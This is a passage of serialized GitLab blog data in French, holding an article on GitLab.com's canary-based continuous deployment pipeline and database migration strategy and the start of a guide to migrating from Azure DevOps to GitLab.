logiciel.",[972],[961,962,706],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1767978731/pvpg5siho29b1nrgnmea.jpg",{"featured":652,"template":806,"slug":1001},"devops-benefits",{"category":719,"slug":717,"posts":1003},[1004,1017,1033],{"content":1005,"config":1015},{"tags":1006,"category":717,"date":1008,"heroImage":1009,"authors":1010,"body":1012,"description":1013,"title":1014},[756,1007],"inside GitLab","2025-12-16","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1764108112/tyntnsy3xotlmehtnfkb.png",[1011],"John Skarbek","Chaque jour, GitLab déploie des modifications de code sur GitLab.com, la plus grande instance GitLab au monde, et ce jusqu'à 12 fois sans aucun temps d'arrêt. Nous utilisons la plateforme [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"CI/CD\") de GitLab elle-même afin de gérer ces déploiements qui impactent des millions d'équipes de développement à travers le monde. Cette fréquence de déploiement constitue notre principal critère de qualité et notre test de charge. Résultat : nos clients profitent des nouvelles fonctionnalités quelques heures seulement après leur développement au lieu d'attendre des semaines ou des mois. Lorsque des organisations s'appuient sur GitLab pour leurs workflows [DevOps](https://about.gitlab.com/fr-fr/topics/devops/ \"DevOps\"), elles utilisent une plateforme évolutive et éprouvée.    \n\nDans cet article, vous découvrirez comment nous avons construit un pipeline de déploiement automatisé en utilisant les fonctionnalités principales de GitLab CI/CD afin de gérer cette complexité de déploiement.\n\n## L'impératif métier de la vélocité de déploiement\n\nPour GitLab, la fréquence de déploiement ne représente pas simplement un indicateur technique, il s'agit au contraire d'un impératif métier. Des cycles de déploiement rapides nous permettent de répondre aux retours clients en quelques heures, de déployer immédiatement des correctifs de sécurité et de valider les nouvelles fonctionnalités en production avant de les déployer à grande échelle.\n\nPour nos clients, chaque déploiement vers GitLab.com valide les pratiques de déploiement que nous recommandons à nos utilisateurs. Lorsque vous utilisez les fonctionnalités de déploiement de GitLab, vous utilisez la même approche éprouvée qui gère quotidiennement des millions d'opérations [git](https://about.gitlab.com/fr-fr/blog/2024/10/08/what-is-git/ \"Git\"), de [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Pipeline CI/CD\") et d'interactions utilisateurs. Vous bénéficiez ainsi des avantages suivants :\n\n- Disponibilité immédiate des dernières fonctionnalités : les nouvelles fonctionnalités vous parviennent quelques heures après leur finalisation, et non dans des cycles trimestriels.\n- Fiabilité éprouvée à grande échelle : si une fonctionnalité fonctionne sur GitLab.com, il en ira de même pour votre environnement.\n- Valeur complète de GitLab : les déploiements sans interruption garantissent un accès constant à votre [plateforme DevOps](https://about.gitlab.com/fr-fr/solutions/devops-platform/ \"Plateforme DevOps\"), même pendant les mises à jour.\n- Pratiques testées en conditions réelles : notre documentation de déploiement ne relève pas de la théorie et reflète exactement la manière dont nous exploitons la plus grande instance GitLab existante.\n\n\n## Architecture du flux de code\n\n\nNotre pipeline de déploiement suit une progression structurée à travers plusieurs étapes, chacune agissant comme un point de contrôle sur le parcours allant de la proposition de code au déploiement en production.\n```mermaid\n  graph TD\n      A[Code proposé] --> B[Merge request créée]\n      B --> C[Pipeline déclenché]\n      C --> D[Build et test]\n      D --> E{Spécifications/intégration/tests QA réussis ?}\n      E -->|Non| F[Boucle de rétroaction]\n      F --> B\n      E -->|Oui| G[Merge vers la branche par défaut]\n      G -->|Périodiquement| H[Branche déployée automatiquement]\n\n      subgraph \"Pipeline de déploiement\"\n          H --> I[Création de paquet]\n          I --> K[Environnement canari]\n          K --> L[Validation QA]\n          L --> M[Environnement principal]\n\n      end\n```\n\n## Composition du pipeline de déploiement\n\nNotre approche de déploiement utilise les capacités CI/CD natives de GitLab afin d'orchestrer des déploiements complexes sur une infrastructure hybride.\nVoici comment nous procédons.\n\n\n### Build\n\n\nLe build de GitLab constitue en soi un sujet complexe, c'est pourquoi nous en aborderons les détails à un niveau général.\n\nNous construisons à la fois notre paquet Omnibus et nos images Cloud Native GitLab (CNG). Les paquets Omnibus se déploient sur notre flotte Gitaly (notre couche de stockage Git), tandis que les images CNG exécutent tous les autres composants sous forme de charges de travail conteneurisées. D'autres services dynamiques comme Postgres et Redis ont pris une telle ampleur que nous disposons d'équipes dédiées qui les gèrent séparément. Pour GitLab.com, ces systèmes ne sont pas déployés lors de nos procédures de déploiement automatique.\n\n\nNous disposons d'un pipeline planifié qui examine régulièrement `gitlab-org/gitlab` et recherche le commit le plus récent sur la branche par défaut avec un pipeline réussi (« vert »). Les pipelines verts signalent que chaque composant de GitLab a réussi sa suite de tests complète. Nous créons ensuite une **branche déployée automatiquement** à partir de ce commit.\n\n\nUne séquence d'événements est déclenchée : nous devons construire ce paquet et tous les composants qui font partie de notre monolithe. Un autre pipeline planifié sélectionne le dernier paquet construit et initie le pipeline de déploiement, ce qui ressemble à ceci :\n\n```mermaid\n  graph LR\n      A[Créer une branche] --> B[Build]\n      B --> C[Choisir le paquet construit]\n      C --> D[Démarrer le pipeline de déploiement]\n```\n\nLe build prend un certain temps et, étant donné que les déploiements peuvent varier en raison de diverses circonstances, nous choisissons le dernier build à déployer. Techniquement, nous construisons plus de versions de GitLab pour GitLab.com que nous n'en déploierons jamais. Cela nous permet de toujours disposer d'un paquet prêt à être utilisé, ce qui nous rapproche le plus possible d'un produit entièrement livré en continu pour GitLab.com.\n\n\n### Validation basée sur l'environnement et stratégie canari\n\nL'assurance qualité (QA) ne constitue pas ici une simple réflexion après coup : elle est intégrée à chaque couche, du développement au déploiement. Notre processus QA exploite des suites de tests automatisées qui incluent des tests unitaires, des tests d'intégration et des tests de bout en bout qui simulent les interactions réelles des utilisateurs avec les fonctionnalités de GitLab. Mais plus important encore pour notre pipeline de déploiement, notre processus QA fonctionne en synergie avec notre stratégie canari via une validation basée sur l'environnement .\n\n\nDans le cadre de notre approche de validation, nous exploitons les [déploiements canari](https://docs.gitlab.com/user/project/canary_deployments/) natifs de GitLab. Ces derniers permettent une validation contrôlée des modifications avec une exposition limitée au trafic avant le déploiement complet en production. Environ 5 % de l'ensemble du trafic passe par [l'étape canari](https://handbook.gitlab.com/handbook/engineering/infrastructure/environments/canary-stage/#environments-canary-stage). Cette approche augmente la complexité des migrations de base de données, mais des étapes canari réussies garantissent le déploiement d'un produit fiable de manière transparente.\n\nLes fonctionnalités de déploiement canari que vous utilisez dans GitLab ont été affinées grâce à la gestion de l'un des scénarios de déploiement les plus complexes en production. Lorsque vous implémentez des déploiements canari pour vos applications, vous utilisez des modèles éprouvés à très grande échelle.\nNotre processus de déploiement suit une stratégie de déploiement progressif :\n1. **Préproduction canari :** environnement de validation initial\n2. **Production canari :** trafic de production limité\n3. **Préproduction environnement principal :** déploiement complet de l'environnement de préproduction\n4. **Production environnement principal :** déploiement complet en production\n```mermaid\n  graph TD\n      C[Déploiement préproduction canari]\n      C --> D[QA – smoke tests étape environnement principal]\n      C --> E[QA – smoke tests étape canari]\n      D --> F\n      E --> F{Tests réussis ?}\n      F -->|Oui| G[Déploiement production canari]\n      G --> S[QA – smoke tests étape environnement principal]\n      G --> T[QA – smoke tests étape canari]\n      F -->|Non| H[Création de ticket]\n      H --> K[Correction et rétroportage]\n      K --> C\n\n      S --> M[Surveillance trafic canari]\n      T --> M[Période de stabilisation surveillance trafic canari]\n      M --> U[Vérifications de sécurité production]\n      U --> N[Préproduction environnement principal]\n      N --> V[Production environnement principal]\n```\nNotre validation QA intervient à plusieurs points de contrôle tout au long de ce processus de déploiement progressif : après chaque déploiement canari, puis de nouveau après les migrations post-déploiement. Cette approche multi-couches garantit que chaque phase de notre stratégie de déploiement dispose de son propre filet de sécurité. Vous pouvez en apprendre davantage sur [l'approche de test complète de GitLab](https://handbook.gitlab.com/handbook/engineering/testing/) dans notre handbook.\n\n## Pipeline de déploiement\n\nVoici les défis que nous relevons avec notre pipeline de déploiement.\n\n### Considérations relatives à l'architecture technique\n\nGitLab.com représente une complexité de déploiement réelle à grande échelle. En tant que plus grande instance GitLab connue, les déploiements utilisent notre chart Helm GitLab officiel et le paquet Linux officiel, soit les mêmes artefacts que nos clients utilisent. Vous pouvez en apprendre davantage sur [l'architecture de GitLab.com](https://handbook.gitlab.com/handbook/engineering/infrastructure/production/architecture/#gitlab-com-architecture) dans notre manuel. Cette approche hybride signifie que notre pipeline de déploiement doit gérer intelligemment à la fois les services conteneurisés et les services Linux traditionnels au sein du même cycle de déploiement.\n\n**Utilisation de nos fonctionnalités à grande échelle (dogfooding) :** nous déployons en utilisant les mêmes procédures que nous documentons pour les [mises à niveau sans temps d’arrêt](https://docs.gitlab.com/update/zero_downtime/). Si certaines fonctionnalités ne fonctionnent pas correctement pour nous, nous ne les recommandons pas à nos clients. Cette contrainte que nous nous imposons stimule l'amélioration continue de nos outils de déploiement.\n\nLes étapes suivantes sont exécutées pour toutes les mises à niveau d'environnement et d'étape :\n```mermaid\n  graph LR\n      a[Préparation] --> c[Migrations régulières – étape canari uniquement]\n      a --> f[Actifs – étape canari uniquement]\n      c --> d[Gitaly]\n      d --> k8s\n\n      subgraph subGraph0[\"Charges de travail MV\"]\n        d[\"Gitaly\"]\n      end\n\n      subgraph subGraph1[\"Charges de travail Kubernetes\"]\n        k8s[\"k8s\"]\n      end\n\n      subgraph fleet[\"Flotte\"]\n        subGraph0\n        subGraph1\n      end\n```\n\n**Détails des étapes :**\n\n\n- **Préparation :** cette étape valide la préparation du déploiement et effectue des vérifications de pré-déploiement.\n\n- **Migrations :** cette étape exécute les migrations régulières de base de données, uniquement pendant l'étape canari. Étant donné que les étapes canari et environnement principal partagent la même base de données, ces modifications sont déjà disponibles lorsque l'étape environnement principal se déploie, ce qui signifie qu'il n'est plus nécessaire de répéter ces tâches.\n\n- **Actifs :** nous exploitons un bucket GCS pour tous les actifs statiques. Si de nouveaux actifs sont créés, nous les importons vers notre bucket de sorte qu'ils soient immédiatement disponibles pour notre étape canari. Comme nous exploitons WebPack pour les actifs et utilisons correctement les SHA dans le nommage de nos actifs, nous pouvons être sûrs que nous n'écrasons pas un actif plus ancien. Par conséquent, les anciens actifs restent disponibles pour les déploiements plus anciens et les nouveaux actifs sont immédiatement disponibles lorsque l'étape canari commence son déploiement. Cela se produit uniquement pendant le déploiement de l'étape canari. Étant donné que l'étape canari et l'étape environnement principal partagent le même stockage d'actifs, ces modifications sont déjà disponibles lorsque l'étape environnement principal se déploie.\n\n- **Gitaly :** cette étape met à jour la couche de stockage de la machine virtuelle Gitaly via notre paquet Linux Omnibus sur chaque nœud Gitaly. Ce service est unique car nous [le regroupons avec `git`](https://gitlab.com/gitlab-org/gitaly/-/blob/master/doc/git-execution-environments.md). Par conséquent, nous devons garantir que ce service soit capable de procéder à des mises à niveau atomiques. Nous exploitons un [encapsuleur autour de Gitaly](https://gitlab.com/gitlab-org/gitaly/-/tree/master/cmd/gitaly-wrapper), qui nous permet d'installer une version plus récente de Gitaly et d'utiliser la bibliothèque [`tableflip`](https://github.com/cloudflare/tableflip) afin de faire pivoter proprement le Gitaly en cours d'exécution, et de garantir la haute disponibilité de ce service sur chacune de nos instances.\n\n- **[Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/ \"Kubernetes\") :** déploie les composants GitLab conteneurisés via notre chart Helm. Notez que nous déployons sur de nombreux clusters répartis sur plusieurs zones pour des questions de redondance, ces étapes sont donc généralement divisées en leurs propres étapes afin de minimiser les dommages et de nous permettent d'arrêter un déploiement en cours si des problèmes critiques sont détectés.\n\n\n### Compatibilité multi-versions : le défi caché\n\n\nÀ la lecture de nos processus, vous remarquerez qu'il existe une période pendant laquelle notre schéma de base de données est en avance sur le code que l'étape environnement principal connaît. Cette situation se produit parce que l'étape canari a déjà déployé le nouveau code et exécute des migrations régulières de base de données, mais l'étape environnement principal exécute toujours la version précédente du code qui ne connaît pas encore ces nouvelles modifications de base de données.\n\n**Exemple concret :** imaginons que nous ajoutons un nouveau champ `merge_readiness` aux merge requests. Pendant le déploiement, certains serveurs exécutent du code qui s'attend à ce champ, tandis que d'autres ignorent son existence. Si nous gérons mal cette situation, GitLab.com sera inutilisable pour des millions d'utilisateurs. Si nous la gérons bien, personne ne remarquera quoi que ce soit.\n\nCette situation se produit également avec la plupart des autres services. Par exemple, si un client envoie plusieurs requêtes, il est possible que l'une d'entre elles aboutisse dans notre étape canari ; d'autres requêtes pourraient être dirigées vers l'étape environnement principal. Ce n'est pas très différent d'un déploiement, car il faut un temps considérable pour parcourir les quelques milliers de pods qui exécutent nos services.\n\n\nÀ quelques exceptions près, la grande majorité de nos services exécutera une version légèrement plus récente de ce composant dans l'étape canari pendant une certaine période. Dans un sens, ces scénarios sont tous des états transitoires. Mais ils peuvent souvent persister pendant plusieurs heures ou jours dans un environnement de production actif. Par conséquent, nous devons les traiter avec le même soin que les états permanents. Pendant tout déploiement, plusieurs versions de GitLab s'exécutent simultanément, et elles doivent toutes cohabiter harmonieusement.\n\n## Opérations de base de données\n\nLes migrations de base de données présentent un défi unique dans notre modèle de déploiement canari. Nous avons besoin de modifier le schéma afin de prendre en charge les nouvelles fonctionnalités et de maintenir notre capacité à effectuer un retour à la version précédente si des problèmes surviennent. Notre solution implique une séparation minutieuse des préoccupations :\n\n- **Migrations régulières :** exécutées pendant l'étape canari, conçues pour être rétrocompatibles, constituées uniquement de modifications réversibles.\n\n- **Migrations post-déploiement :** les migrations « point de non-retour » qui se produisent uniquement après plusieurs déploiements réussis.\n\n\nLes modifications de base de données sont gérées avec précision et selon des procédures de validation approfondies :\n\n```mermaid\n  graph LR\n      A[Migrations régulières] --> B[Déploiement étape canari]\n      B --> C[Déploiement étape environnement principal]\n      C --> D[Migrations post-déploiement]\n\n```\n### Migrations post-déploiement\n\n\nLes déploiements GitLab impliquent de nombreux composants. La mise à jour de GitLab n'est pas atomique, c'est pourquoi de nombreux composants doivent être rétrocompatibles.\n\n\nLes migrations post-déploiement contiennent souvent des modifications qui ne peuvent pas être facilement annulées, comme les transformations de données, les suppressions de colonnes ou les modifications structurelles qui entraîneraient une rupture dans les versions de code plus anciennes. En les exécutant _après_ plusieurs déploiements réussis, nous garantissons les aspects suivants :\n\n\n1. **Le nouveau code est stable** et il est peu probable que nous ayons besoin de devoir retourner à la version précédente.\n\n2. **Les caractéristiques de performance** sont bien comprises en production.\n\n3. **Tous les cas marginaux** ont été découverts et traités.\n\n4. **Le rayon d'impact** est minimisé en cas de problème.\n\n\nCette approche offre un équilibre optimal entre un déploiement rapide des fonctionnalités via les releases canari et des capacités de retour à la version précédente jusqu'à ce que nous ayons suffisamment confiance dans la stabilité du déploiement.\n\n\n**Modèle étendre-migrer-réduire :** nos modifications de compatibilité de base de données, frontend et application suivent une approche en trois phases soigneusement orchestrée.\n\n\n1. **Étendre :** ajouter de nouvelles structures (colonnes, index) tout en gardant les anciennes fonctionnelles.\n\n2. **Migrer :** déployer le nouveau code d'application qui utilise les nouvelles structures.\n\n3. **Réduire :** supprimer les anciennes structures dans les migrations post-déploiement une fois que tout est stable.\n\n**Exemple concret :** lors de l'ajout d'une nouvelle colonne `merge_readiness` aux merge requests :\n\n1. **Étendre :** ajouter la nouvelle colonne avec une valeur par défaut ; le code existant l'ignore.\n\n2. **Migrer :** déployer le code qui lit et écrit dans la nouvelle colonne tout en prenant en charge l'ancienne approche.\n\n3. **Réduire :** après plusieurs déploiements réussis, supprimer l'ancienne colonne dans une migration post-déploiement\n\nToutes les opérations de base de données, le code d'application, le code frontend et bien d'autres, sont soumis à un ensemble de directives que les équipes d’ingénieries doivent respecter, que vous pouvez consulter dans notre [documentation sur la compatibilité multi-versions](https://docs.gitlab.com/development/multi_version_compatibility/).\n\n\n## Résultats et impact\n\nNotre infrastructure de déploiement offre des avantages mesurables :\n\n**Pour GitLab**\n\n* Jusqu'à 12 déploiements quotidiens sur GitLab.com\n* Déploiements sans temps d’arrêt au service de millions de développeurs\n* Application de correctifs de sécurité en production en quelques heures au lieu de plusieurs jours\n* Nouvelles fonctionnalités validées en production à grande échelle avant la disponibilité générale\n\n**Pour nos clients**\n\n* Modèles de déploiement éprouvés que vous pouvez adopter pour vos propres applications\n* Fonctionnalités testées en conditions réelles sur la plus grande instance GitLab au monde avant d'atteindre votre environnement\n* Documentation qui reflète les pratiques de production réelles, et non des bonnes pratiques théoriques\n* Fiabilité des procédures de mise à niveau recommandées par GitLab à toute échelle\n\n## Points clés pour les équipes d'ingénierie\n\nLe pipeline de déploiement de GitLab représente un système sophistiqué qui met en jeu la vélocité de déploiement et la fiabilité opérationnelle. Le modèle de déploiement progressif, l'intégration complète des tests et les capacités robustes de retour à la version précédente fournissent une base pour une livraison logicielle fiable à grande échelle.\n\n\nLes équipes d'ingénierie qui implémentent des systèmes similaires doivent avoir les points clés suivants en tête :\n\n\n- **Tests automatisés :** couverture de tests complète tout au long du pipeline de déploiement\n\n- **Déploiement progressif :** déploiements par étapes afin de minimiser les risques et permettre une récupération rapide\n\n- **Intégration de la surveillance :** observabilité complète à travers toutes les étapes de déploiement\n\n- **Réponse aux incidents :** capacités de détection et de résolution rapides pour les problèmes de déploiement\n\n\nL'architecture de GitLab démontre comment des systèmes CI/CD modernes peuvent gérer la complexité de déploiements à grande échelle tout en maintenant la vélocité requise pour un développement logiciel compétitif.\n\n\n## Note importante sur la portée\n\n\nCet article couvre spécifiquement le pipeline de déploiement pour les services qui font partie du **paquet GitLab Omnibus** et du **chart Helm**, soit le monolithe GitLab principal et ses composants étroitement intégrés.\n\n\nCependant, le paysage d'infrastructure de GitLab s'étend au-delà de ce qui est décrit ici. D'autres services, notamment nos **services d'IA** et les services qui pourraient faire partie d'une **étude de faisabilité**, suivent une approche de déploiement différente au moyen de notre plateforme interne Runway.\n\n\nSi vous travaillez avec ces services ou souhaitez en savoir plus, vous pouvez obtenir plus d'informations dans notre [documentation dédiée à Runway](https://docs.runway.gitlab.com).\n\n\nD'autres offres, telles que [GitLab Dedicated](https://about.gitlab.com/fr-fr/dedicated/ \"GitLab Dedicated\"), sont déployées de manière plus alignée avec ce que nous attendons que les clients soient capables de réaliser eux-mêmes au moyen de **GitLab Environment Toolkit**. Si vous souhaitez en savoir plus, consultez le [projet GitLab Environment Toolkit](https://gitlab.com/gitlab-org/gitlab-environment-toolkit).\n\n\nLes stratégies de déploiement, les considérations architecturales et les complexités de pipeline décrites dans cet article représentent l'approche éprouvée que nous utilisons pour notre plateforme principale, mais comme toute grande organisation d'ingénierie, nous disposons de plusieurs stratégies de déploiement adaptées aux différents types de services et niveaux de maturité.\n\nPour plus de documentation sur le déploiement automatique et nos procédures, vous pouvez consulter les liens ci-dessous :\n- [Déploiements d'ingénierie](https://handbook.gitlab.com/handbook/engineering/deployments-and-releases/deployments/)\n- [Documentation sur les procédures de release](https://gitlab-org.gitlab.io/release/docs/)","Plongez au cœur du pipeline de déploiement de GitLab.com, des déploiements progressifs, des stratégies canari aux migrations de base de données en passant par la compatibilité multi-versions.","Comment déployer la plus grande instance GitLab 12 fois par jour",{"featured":652,"template":806,"slug":1016},"continuously-deploying-the-largest-gitlab-instance",{"content":1018,"config":1031},{"tags":1019,"category":717,"body":1023,"date":1024,"title":1025,"description":1026,"heroImage":1027,"authors":1028},[1020,1021,89,1022],"tutorial","git","migration","La migration d'Azure DevOps vers GitLab peut sembler complexe, mais avec la bonne approche et les bons outils, le processus sera fluide et efficace. Ce guide détaille toutes les étapes pour migrer avec succès vos projets, dépôts et pipelines d'Azure DevOps vers GitLab.\n\n## Vue d'ensemble\n\nGitLab propose à la fois [Congregate](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/) (maintenu par les [Services professionnels de GitLab](https://about.gitlab.com/fr-fr/professional-services/)) et [une importation intégrée des dépôts Git](https://docs.gitlab.com/user/project/import/repo_by_url/) pour migrer des projets depuis Azure DevOps (ADO). Ces options prennent en charge la migration dépôt par dépôt ou de façon groupée et préservent l'historique des commits [git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ?\"), les branches et les tags. Elles prennent également en charge des éléments supplémentaires tels que les [wikis](https://about.gitlab.com/fr-fr/blog/get-to-know-the-gitlab-wiki-for-effective-knowledge-management/ \"GitLab Wiki\"), les éléments de travail, les [variables CI/CD](https://about.gitlab.com/fr-fr/blog/demystifying-ci-cd-variables/), les images de conteneurs, les paquets, les pipelines et bien plus encore ([matrice de fonctionnalités](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/-/blob/master/customer/ado-migration-features-matrix.md)). Utilisez ce guide pour planifier et exécuter votre migration, puis accomplir les tâches de suivi post-migration.\n\nLes entreprises qui migrent d'Azure DevOps vers GitLab suivent généralement une approche en plusieurs étapes :\n\n* Elles migrent les dépôts d'Azure DevOps vers GitLab à l'aide de Congregate ou de la migration de dépôt intégrée à GitLab.\n* Elles migrent les pipelines d'Azure Pipelines vers GitLab CI/CD.\n* Elles migrent les éléments restants tels que les tableaux, les éléments de travail et les artefacts vers les tickets, registres de paquets et de conteneurs GitLab.\n\nPhases de migration principales :\n\n\n```mermaid\ngraph LR\n    subgraph Prérequis\n        direction TB\n        A[\"Configurer le fournisseur d'identité (IdP)\u003Cbr/>et provisionner les utilisateurs\"]\n        A --> B[\"Configurer les runners et\u003Cbr/>les intégrations tierces\"]\n        B --> I[\"Former les utilisateurs et\u003Cbr/>gérer le changement\"]\n    end\n    \n    subgraph MigrationPhase[\"Phase de migration\"]\n        direction TB\n        C[\"Migrer le code source\"]\n        C --> D[\"Préserver les contributions et\u003Cbr/>l'historique du format\"]\n        D --> E[\"Migrer les éléments de travail,\u003Cbr/>mapper vers \u003Ca href=\"https://docs.gitlab.com/topics/plan_and_track/\">GitLab Plan\u003Cbr/>et suivre le travail\"]\n    end\n    \n    subgraph PostMigration[\"Étapes post-migration\"]\n        direction TB\n        F[\"Créer ou traduire les\u003Cbr/>pipelines ADO vers GitLab CI\"]\n        F --> G[\"Migrer les autres actifs,\u003Cbr/>paquets et images de conteneurs\"]\n        G --> H[\"Introduire des améliorations SDLC et de \u003Ca href=\"https://docs.gitlab.com/user/application_security/secure_your_application/\">sécurité\u003C/a>\u003Cbr/>\"]\n    end\n    \n    Prérequis --> MigrationPhase\n    MigrationPhase --> PostMigration\n\n    style A fill:#FC6D26\n    style B fill:#FC6D26\n    style I fill:#FC6D26\n    style C fill:#8C929D\n    style D fill:#8C929D\n    style E fill:#8C929D\n    style F fill:#FFA500\n    style G fill:#FFA500\n    style H fill:#FFA500\n```\n\n\n## Planifiez votre migration\n\n**Pour planifier votre migration, posez-vous ces questions :**\n\n* Dans quels délais devons-nous achever la migration ?\n* Comprenons-nous ce qui sera migré ?\n* Qui exécutera la migration ?\n* Quelle structure organisationnelle souhaitons-nous mettre en place dans GitLab ?\n* Existe-t-il des contraintes, limitations ou pièges à prendre en compte ?\n\nDéterminez votre calendrier, car il dictera en grande partie votre approche de migration. Identifiez des spécialistes ou des groupes familiarisés avec les plateformes Azure DevOps et GitLab (comme les « Early adopters ») pour faciliter l'adoption et fournir des conseils.\n\n**Faites l'inventaire de ce que vous devez migrer :**\n\n* Le nombre de dépôts, de pull requests et de contributeurs\n* Le nombre et la complexité des éléments de travail et des pipelines\n* Les tailles de dépôts et les relations de dépendance\n* Les intégrations critiques et les exigences relatives aux runners (pools d'agents dotés de capacités spécifiques)\n\nUtilisez l'outil [Evaluate](https://gitlab.com/gitlab-org/professional-services-automation/tools/utilities/evaluate#beta-azure-devops) des Services professionnels de GitLab pour produire un inventaire complet de toute votre organisation Azure DevOps avec les dépôts, le nombre de pull requests, les listes de contributeurs, le nombre de pipelines, les éléments de travail, les variables CI/CD et bien plus encore. Si vous travaillez avec l'équipe des Services professionnels de GitLab, partagez ce rapport avec votre responsable de mission ou votre architecte technique pour faciliter la planification de la migration.\n\nLe calendrier de migration est principalement déterminé par le nombre de pull requests, la taille des dépôts et le volume de contributions (par exemple, les commentaires dans les pull requests, les éléments de travail, etc.). 1 000 petits dépôts avec un nombre limité de pull requests et de contributeurs peuvent migrer beaucoup plus rapidement qu'un ensemble plus restreint de dépôts contenant des dizaines de milliers de pull requests et des milliers de contributeurs. Utilisez vos données d'inventaire pour estimer l'effort et planifier des tests avant de procéder aux migrations de production.\n\nComparez l'inventaire avec le calendrier souhaité et décidez si vous allez migrer tous les dépôts à la fois ou par lots. Si les équipes ne peuvent pas migrer simultanément, organisez les migrations par lots et échelonnez-les pour vous aligner sur les calendriers des équipes. Par exemple, lors des missions des Services professionnels, nous organisons des migrations par vagues de 200 à 300 projets pour limiter la complexité et respecter les limites de débit des API, à la fois dans [GitLab](https://docs.gitlab.com/security/rate_limits/) et [ADO](https://learn.microsoft.com/en-us/azure/devops/integrate/concepts/rate-limits?view=azure-devops).\n\nL'[outil d'importation de dépôt intégré](https://docs.gitlab.com/user/project/import/repo_by_url/) de GitLab migre les dépôts Git (commits, branches et tags) un par un. Congregate est conçu pour préserver les pull requests (appelées merge requests dans GitLab), les commentaires et les métadonnées associées lorsque cela est possible ; l'importation simple de dépôt intégrée se concentre uniquement sur les données Git (historique, branches et tags).\n\n**Éléments nécessitant généralement une migration distincte ou une recréation manuelle :**\n\n* Pipelines Azure : créez des pipelines GitLab CI/CD équivalents (consultez la [documentation YAML CI/CD](https://docs.gitlab.com/ci/yaml/) et/ou les [composants CI/CD](https://docs.gitlab.com/ci/components/)). Vous pouvez également envisager d'utiliser la conversion de pipelines basée sur l'IA disponible dans Congregate.\n* Éléments de travail et tableaux : mappez-les vers les tickets, epics et tableaux de tickets de GitLab.\n* Artefacts, images de conteneurs (ACR) : migrez-les vers le registre de paquets ou le registre de conteneurs de GitLab.\n* Hooks de service et intégrations externes : recréez-les dans GitLab.\n* Les [modèles de permissions](https://docs.gitlab.com/user/permissions/) diffèrent entre ADO et GitLab ; examinez et planifiez le mappage des permissions plutôt que de supposer une préservation exacte.\n\nExaminez ce que chaque outil (Congregate vs importation intégrée) va migrer et choisissez celui qui correspond à vos besoins. Dressez une liste de toutes les données ou intégrations qui doivent être migrées ou recréées manuellement.\n\n**Qui exécutera la migration ?**\n\nLes migrations sont généralement exécutées par un propriétaire de groupe GitLab ou un administrateur d'instance, ou par une personne désignée ayant obtenu les permissions nécessaires relatives au groupe/projet de destination. Congregate et les API d'importation GitLab nécessitent des tokens d'authentification valides pour Azure DevOps et GitLab.\n\n* Décidez si un propriétaire/administrateur de groupe effectuera les migrations ou si vous accorderez un accès délégué à une équipe/personne spécifique.\n* Assurez-vous que la personne dédiée à la migration a correctement configuré les tokens d'accès personnels (Azure DevOps et GitLab) avec les portées requises par votre outil de migration choisi (par exemple, les portées api/read_repository et toute exigence spécifique à l'outil).\n* Testez les tokens et les permissions avec une petite migration pilote.\n\n**Remarque :** Congregate exploite la fonctionnalité d'importation basée sur des fichiers pour les migrations ADO et nécessite des permissions d'administrateur d'instance pour s'exécuter ([consultez notre documentation](https://docs.gitlab.com/user/project/settings/import_export/#migrate-projects-by-uploading-an-export-file)). Si vous migrez vers GitLab.com, envisagez de faire appel aux Services professionnels. Pour plus d'informations, consultez leur [catalogue complet](https://about.gitlab.com/professional-services/catalog/). Un compte non-administrateur ne peut pas préserver l'attribution des contributions !\n\n**Quelle structure organisationnelle souhaitons-nous dans GitLab ?**\n\nBien qu'il soit possible de mapper directement la structure ADO vers la structure GitLab, il est recommandé de rationaliser et de simplifier la structure pendant la migration. Réfléchissez à la façon dont les équipes travailleront dans GitLab et concevez la structure de façon à faciliter la collaboration et la gestion des accès. Voici un exemple de mappage de la structure ADO vers la structure GitLab :\n\n\n```mermaid\ngraph TD\n    subgraph GitLab\n        direction TB\n        A[\"Groupe principal\"]\n        B[\"Sous-groupe (facultatif)\"]\n        C[\"Projets\"]\n        A --> B\n        A --> C\n        B --> C\n    end\n\n    subgraph AzureDevOps[\"Azure DevOps\"]\n        direction TB\n        F[\"Organisations\"]\n        G[\"Projets\"]\n        H[\"Dépôts\"]\n        F --> G\n        G --> H\n    end\n\n    style A fill:#FC6D26\n    style B fill:#FC6D26\n    style C fill:#FC6D26\n    style F fill:#8C929D\n    style G fill:#8C929D\n    style H fill:#8C929D\n```\n\n\nApproche recommandée :\n\n* Mappez chaque organisation ADO à un groupe GitLab (ou un petit ensemble de groupes), et non à de nombreux petits groupes. Évitez de créer un groupe GitLab pour chaque projet d'équipe ADO et utilisez la migration comme une opportunité de rationaliser votre structure GitLab.\n* Utilisez des sous-groupes et des permissions au niveau du projet pour regrouper les dépôts associés.\n* Gérez l'accès à des ensembles de projets en utilisant les groupes et l'appartenance aux groupes (groupes et sous-groupes) de GitLab plutôt qu'un groupe par projet d'équipe.\n* Examinez les [permissions](https://docs.gitlab.com/ee/user/permissions.html) de GitLab et utilisez les [liens de groupe SAML](https://docs.gitlab.com/user/group/saml_sso/group_sync/) pour mettre en œuvre un modèle de contrôle d'accès basé sur les rôles (RBAC) d'entreprise pour votre instance GitLab (ou un espace de nommage GitLab.com).\n\n**Tableaux ADO et éléments de travail : état de la migration**\n\nIl est important de comprendre comment les éléments de travail migrent d'ADO vers GitLab Plan (tickets, epics et tableaux).\n\n* Les tableaux et éléments de travail ADO sont mappés vers les tickets, epics et tableaux de tickets de GitLab. Planifiez comment vos workflows et configurations de tableaux seront migrés.\n* Les epics et fonctionnalités ADO deviennent des epics GitLab.\n* Les autres types d'éléments de travail (user stories, tâches, bogues) deviennent des tickets au niveau du projet.\n* La plupart des champs standard sont préservés ; certains champs personnalisés sélectionnés peuvent être migrés lorsqu'ils sont pris en charge.\n* Les relations parent-enfant sont conservées afin que les epics référencent tous les tickets associés.\n* Les liens vers les pull requests sont convertis en liens de merge requests pour maintenir la traçabilité du développement.\n\nExemple d'une migration d'un élément de travail individuel vers un ticket GitLab, avec conservation des champs et relations :\n\n![Exemple d'une migration d'un élément de travail 